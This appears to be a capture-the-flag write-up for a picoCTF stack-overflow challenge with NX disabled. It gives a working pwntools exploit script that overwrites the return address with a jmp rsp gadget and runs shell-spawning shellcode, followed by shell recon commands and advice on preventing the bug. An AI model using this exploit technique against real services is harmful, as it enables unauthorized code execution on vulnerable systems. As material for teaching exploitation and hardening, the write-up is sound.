Description
It's a race against time. Solve the binary exploit ASAP.
Setup
Launch the challenge instance and connect via netcat.
Like offset-cycle but with an additional mitigation or constraint.
Solution
Walk me through it- Step 1Check protections - NX is disabledRun checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a
jmp rspgadget + shellcode injected on the stack.bashchecksec --file=./vulnbash# Expected: NX disabled, no canaryLearn more
NX (No-eXecute), also called DEP (Data Execution Prevention) on Windows, is a CPU and OS feature that marks memory regions as either executable or writable, but not both. When NX is enabled, writing shellcode to the stack and jumping to it causes an immediate access violation because the stack is marked non-executable.
When NX is disabled, the stack is executable, and you can inject arbitrary machine code (shellcode) directly in your overflow payload and redirect execution to it. This is the classic "stack smashing" technique from the 1990s, still present in CTF challenges to teach the fundamentals before introducing mitigations.
NX is almost universally enabled in production systems today. The most common reason it's disabled in legitimate software is JIT compilation engines (like JavaScript engines) that need to write and execute machine code at runtime - but these use carefully guarded writable/executable mappings, not the stack.
- Step 2Find the jmp rsp gadgetSearch the binary (or libc) for a
jmp rspgadget - an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.bashROPgadget --binary vuln | grep 'jmp rsp'bash# or:bashropper -f vuln --search 'jmp rsp'bash# Confirm the input function so you know which bad bytes to avoid:bashobjdump -s -j .rodata vuln | grep -E 'gets|fgets|scanf|read'bashobjdump -d vuln | grep -E 'call.*(gets|fgets|scanf|read)'Learn more
The jmp rsp technique exploits a subtle property of how function returns work. When the overwritten return address is popped into RIP, RSP advances past it to point to the next bytes in your payload - your shellcode. A
jmp rspgadget then jumps directly to where RSP points, executing your shellcode immediately.This is sometimes called a "jump to stack" exploit or a "trampoline" attack. The gadget acts as a trampoline that bounces execution from the return address into your injected code. The gadget itself can be anywhere in the binary or any loaded library, as long as the instruction sequence
FF E4(jmp rsp) exists somewhere in mapped executable memory.Do not reach for
push rsp; retas a substitute.push rsppushes the current RSP value onto the stack, and the followingretpops that value into RIP. So you jump to the address RSP held before the push, which is where the gadget address itself was sitting (one slot above your shellcode), not your shellcode. To make it work you would need a separate +8 adjustment, which usually means another gadget.jmp rspandcall rspare the actually-equivalent primitives. If neither exists, look forjmp [rsp],add rsp, X; ret, or pivot through a register you control.For the broader exploitation theory, see Buffer overflow exploitation for CTF; for the pwntools idioms used below, see pwntools for CTF.
- Step 3Build and send the shellcode payloadCraft a payload: padding to reach the return address + address of
jmp rspgadget + shellcode. The shellcode can be a /bin/sh shell or a directcat /flag.txtpayload.pythonpython3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) # Find jmp rsp gadget (via ROPgadget or pwntools) jmp_rsp = 0x???? # address from ROPgadget output offset = 64 # from cyclic pattern analysis # Recon FIRST so you know what to read. Don't hardcode /flag.txt. # Once you have a shell, run: ls /flag*; ls /; env | grep -i flag shellcode = asm(shellcraft.sh()) # interactive shell, then cat the real path # If you've already confirmed the flag path (e.g. /flag.txt) you can use: # shellcode = asm(shellcraft.cat('/flag.txt')) payload = b"A" * offset # padding to RIP payload += p64(jmp_rsp) # redirect to jmp rsp (lands on shellcode) payload += shellcode # executed after jmp rsp p.sendline(payload) p.interactive() EOFLearn more
Shellcode is machine code injected into a process to perform attacker-controlled actions. The most common payload is an
execve("/bin/sh", NULL, NULL)syscall sequence that spawns a shell. pwntools'shellcraftmodule generates platform-appropriate shellcode, andasm()assembles it to raw bytes.pwntools'
shellcraft.sh()generates a compact shellcode stub that executes/bin/sh. For CTF servers where you only need to read a file rather than get an interactive shell,shellcraft.cat('/flag.txt')generates even simpler shellcode that just prints the flag and exits, but it only works if the flag is actually at that path. Default toshellcraft.sh(), then runls /flag*,ls /, andfind / -name 'flag*' 2>/dev/nullin the spawned shell to locate the real path.Real-world shellcode must sometimes be position-independent (no hardcoded addresses), avoid certain bad bytes (null bytes terminate strings, newlines may break input handling), and fit within tight size constraints. pwntools handles many of these automatically, but understanding the constraints helps when you need to write custom shellcode.
- Avoid null bytes: use
xor eax, eaxinstead ofmov eax, 0 - Avoid newlines (0x0a) if input is read by
fgets - pwntools'
asm(..., avoid=b'\x00\x0a')can encode around bad bytes
- Avoid null bytes: use
Flag
picoCTF{0ff53t_cycl3_v2_...}
offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.
How to prevent this
How to prevent this
Disabling NX is the entire reason this is exploitable. Do not do it.
- Always link with
-z noexecstack(the default in modern toolchains). NX makes stack+heap memory non-executable;jmp rspinto shellcode immediately segfaults. - Bound the read so the overflow doesn't happen in the first place.
fgets(buf, sizeof(buf), stdin)with stack canaries is a complete fix for this bug class. - If the binary genuinely needs an executable region (JIT compilers), allocate it with
mprotect(PROT_READ | PROT_EXEC)after writing, and never withPROT_WRITE | PROT_EXECsimultaneously (W^X).